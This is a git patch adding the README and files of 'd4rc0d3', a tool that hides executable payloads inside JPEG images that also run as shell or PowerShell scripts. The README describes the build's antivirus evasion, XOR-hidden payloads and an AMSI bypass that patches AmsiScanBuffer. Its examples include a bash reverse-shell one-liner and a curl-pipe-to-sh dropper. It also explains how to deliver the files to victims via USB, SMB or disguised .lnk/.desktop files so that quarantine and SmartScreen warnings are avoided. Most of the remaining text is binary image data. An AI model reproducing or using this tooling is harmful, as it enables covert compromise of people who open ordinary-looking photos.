From ec02ac197da4080721a8bf454f70179ec0f661cda5a8ce2faf1b4a97d1f40cb3 Mon Sep 17 00:00:00 2001 From: D4rk$1d3 Date: Wed, 24 Jun 2026 23:36:25 -0300 Subject: [PATCH] Added files --- README.md | 218 + cover.jpg | Bin 0 -> 32300 bytes d4rc0d3.py | 749 ++ d4rc0d3_engine | Bin 0 -> 463496 bytes src/args.cpp | 377 + src/args.h | 24 + src/bootstrap.cpp | 556 + src/bootstrap.h | 54 + src/build.sh | 60 + src/common.h | 57 + src/d4rc0d3_core.cpp | 740 ++ src/file_utils.cpp | 299 + src/file_utils.h | 16 + src/jpeg_process.cpp | 784 ++ src/jpeg_process.h | 14 + src/jpeg_warning_check.cpp | 82 + src/jpeg_warning_check.h | 31 + src/pwsh_scripts/game_of_life.ps1 | 117 + src/pwsh_scripts/matrix_rain1.ps1 | 171 + src/pwsh_scripts/text_sine.ps1 | 64 + src/stb_image/LICENSE.md | 37 + src/stb_image/include/stb_image.h | 7988 +++++++++++++++ src/stb_image/include/stb_image_resize2.h | 10663 ++++++++++++++++++++ 23 files changed, 23101 insertions(+) create mode 100644 README.md create mode 100644 cover.jpg create mode 100644 d4rc0d3.py create mode 100644 d4rc0d3_engine create mode 100644 src/args.cpp create mode 100644 src/args.h create mode 100644 src/bootstrap.cpp create mode 100644 src/bootstrap.h create mode 100644 src/build.sh create mode 100644 src/common.h create mode 100644 src/d4rc0d3_core.cpp create mode 100644 src/file_utils.cpp create mode 100644 src/file_utils.h create mode 100644 src/jpeg_process.cpp create mode 100644 src/jpeg_process.h create mode 100644 src/jpeg_warning_check.cpp create mode 100644 src/jpeg_warning_check.h create mode 100644 src/pwsh_scripts/game_of_life.ps1 create mode 100644 src/pwsh_scripts/matrix_rain1.ps1 create mode 100644 src/pwsh_scripts/text_sine.ps1 create mode 100644 src/stb_image/LICENSE.md create mode 100644 src/stb_image/include/stb_image.h create mode 100644 src/stb_image/include/stb_image_resize2.h diff --git a/README.md b/README.md new file mode 100644 index 0000000..b9f9ef9 --- /dev/null +++ b/README.md @@ -0,0 +1,218 @@ +# d4rc0d3 + +Generates a single JPEG file that is simultaneously: + +- A valid image (displays normally in any viewer) +- A shell script — `./photo.jpg` or `sh photo.jpg` on Linux/macOS +- A PowerShell script — rename to `.ps1` and run with `pwsh` on Windows +- A double-click launcher for macOS, Linux, and Windows + +--- + +## Files + +``` +0-day/ +├── src source code of d4rkc0d3_engine (for cross compile / amd-arm-etc) +├── d4rc0d3.py main tool (Python, no external deps beyond stdlib) +├── d4rc0d3_engine compiled engine binary (arm64 Linux version, see "src") +├── cover.jpg sample cover image +└── README.md +``` + +The `d4rc0d3_engine` binary must match the host architecture. +To recompile from source: + +```bash +# Requires: gcc, libturbojpeg-dev, libjpeg-dev +cd src/ +g++ -std=c++23 -O3 -s -o ../d4rc0d3_engine \ + args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \ + jpeg_warning_check.cpp d4rc0d3_core.cpp -lturbojpeg -ljpeg -lm +``` + +--- + +## Requirements + +- Python 3.11+ +- No Python dependencies +- `d4rc0d3_engine` binary matching the host CPU architecture + +--- + +## How the polyglot works + +``` +┌──────────────────────────────────────────────────────────────────┐ +│ photo.jpg │ +│ │ +│ SOI │ +│ COM → shell bootstrap (octal-encoded, Perl XOR-decoding pipe) │ +│ APP0 → <# opens PowerShell block comment │ +│ APP2 → ICC profile: #> closes comment + XOR-decode stub │ +│ 16-byte key embedded at ICC offset 102 │ +│ JPEG image data (real, displayable photo) │ +│ EOI │ +│ [post-EOI: base64+XOR payload — scripts and binaries only] │ +└──────────────────────────────────────────────────────────────────┘ + +./photo.jpg or sh photo.jpg + → COM bootstrap runs via sh/bash + → Perl XOR-decodes the payload using key from ICC profile + → Executes the result + +pwsh photo.ps1 (after renaming) + → APP0 <# opens PS block comment over all binary data + → APP2 #> closes the comment — clean PS1 starts here + → XOR stub reads key from ICC, decodes and runs payload + +Image viewer + → Reads JPEG header, ignores COM/APP segments it doesn't recognise + → Displays the photo normally +``` + +**AV evasion built into every generated file:** + +- Payload XOR-encrypted with 16-byte key hidden in JPEG ICC profile metadata +- PowerShell executor double char-array encoded — no plaintext `iex`, `Invoke-Expression`, or URL strings +- No recognisable dropper strings visible in the raw file +- ICC profile fields match a real sRGB color profile (CMM, version, illuminant, etc.) +- AMSI bypass injected before PS1 payload execution (patches `AmsiScanBuffer` in memory) + +--- + +## Usage + +### Interactive (recommended) + +```bash +python3 d4rc0d3.py +``` + +Prompts for image, payload type, command, target platforms, and output directory. + +### Command line + +``` +python3 d4rc0d3.py [OPTIONS] [payload_file] +``` + +**Payload** (pick one): + +| Argument | Description | +| --------------------------- | ----------------------------------------------------------- | +| `-c "command"` | Inline shell command. Slack-safe. Works on all platforms. | +| `file.ps1` | PowerShell script. Embedded in ICC profile (XOR-encrypted). | +| `file.py` / `file.sh` | Script. base64+XOR in post-EOI. Linux/macOS. | +| `file.exe` / `file.elf` | Binary. base64+XOR in post-EOI. Runs on target OS. | +| `-c "pre-cmd" file.ps1` | Run pre-command first, then the PS1 file. | + +**Platform output flags:** + +| Flag | Output | What victim sees | +| --------------- | --------------------- | ---------------------------------- | +| *(none)* | `photo.jpg` | — | +| `--mac` | `photo.zip` | `photo.jpg` in Finder | +| `--linux` | `photo_launch.jpg` | `photo_launch.jpg` (no .desktop) | +| `--linux-dot` | `photo.jpg.desktop` | `photo.jpg.desktop` | +| `--windows` | `photo.jpg.lnk` | `photo.jpg` in Explorer | +| `--all` | all of the above | — | + +**Other flags:** + +| Flag | Description | +| ------------- | --------------------------------------------- | +| `--amsi` | Inject AMSI bypass (default: on for`.ps1`) | +| `--no-amsi` | Disable AMSI bypass | +| `--show` | Open image viewer on execution | +| `--keep` | Keep extracted payload after execution | +| `-d DIR` | Extraction directory (default:`/tmp`) | +| `-o DIR` | Output directory (default: current directory) | + +--- + +## Examples + +```bash +# Inline command, generate for all platforms +python3 d4rc0d3.py photo.jpg -c "id > /tmp/pwned.txt" --all -o /tmp/out/ + +# Reverse shell, all platforms +python3 d4rc0d3.py photo.jpg -c \ + "bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'" --all + +# PowerShell payload with AMSI bypass, Windows + macOS +python3 d4rc0d3.py photo.jpg shell.ps1 --windows --mac --amsi -o /tmp/out/ + +# Python dropper, Linux targets +python3 d4rc0d3.py photo.jpg dropper.py --linux --linux-dot -o /tmp/out/ + +# Dropper: download and execute +python3 d4rc0d3.py photo.jpg -c "curl -s http://192.168.1.10/s.sh | sh" --all +``` + +--- + +## Execution on each platform + +### Linux / macOS — terminal + +```bash +# Direct execution (file already has +x) +./photo.jpg + +# Or explicitly +sh photo.jpg + +# Post-Slack (bash rejects due to NUL bytes injected by Slack) +sh photo.jpg +``` + +### Windows — PowerShell + +```powershell +# Rename and run +ren photo.jpg photo.ps1 +pwsh -ExecutionPolicy Bypass photo.ps1 + +# Or without renaming +powershell -ExecutionPolicy Bypass -File photo.jpg +``` + +### Double-click — macOS + +1. Send `photo.zip` to the victim (USB or local share — see Notes) +2. Victim extracts the ZIP +3. Finder shows `photo.jpg` — double-click it +4. Preview opens the photo; payload runs silently in background + +> **Notes:** macOS applies quarantine to files from the internet. +> Unsigned bundles trigger a dialog. Deliver via **USB or local SMB share** +> — quarantine is not applied, no dialog appears. + +### Double-click — Linux + +- `photo_launch.jpg` — Thunar, Nemo, Caja, Dolphin execute on double-click (content-based MIME detection, no dialog) +- `photo.jpg.desktop` — all file managers, Nautilus shows "Trust and Launch" once + +### Double-click — Windows + +Double-click `photo.jpg.lnk` — Explorer hides `.lnk` so the victim sees `photo.jpg`. +Runs: `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File photo.jpg` + +> **SmartScreen:** may warn for files from the internet. Deliver via USB or internal share. + +--- + +## Payload compatibility + +| Payload | `sh`/`bash` | `pwsh` | Double-click macOS | Double-click Linux | Post-Slack | +| ------------------- | --------------- | -------- | ------------------ | ------------------ | ----------------------- | +| `-c` inline | ✓ | ✓ | ✓ | ✓ | ✓ only inline survives | +| `.ps1` | ✓ (needs pwsh) | ✓ | ✓ | ✓ (needs pwsh) | ✗ stripped | +| `.py` / `.sh` | ✓ | ✗ | ✓ | ✓ | ✗ stripped | +| `.exe` / `.elf` | ✓ | ✗ | ✓ | ✓ | ✗ stripped | + +Slack strips post-EOI data. For Slack delivery use `-c "command"`. +After downloading from Slack use `sh photo.jpg` (not `bash`). diff --git a/cover.jpg b/cover.jpg new file mode 100644 index 0000000000000000000000000000000000000000000000000000000000000000..b284669f1b693bfab55df45adfb0ea14954edd5626534561c8792560382c2add GIT binary patch literal 32300 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 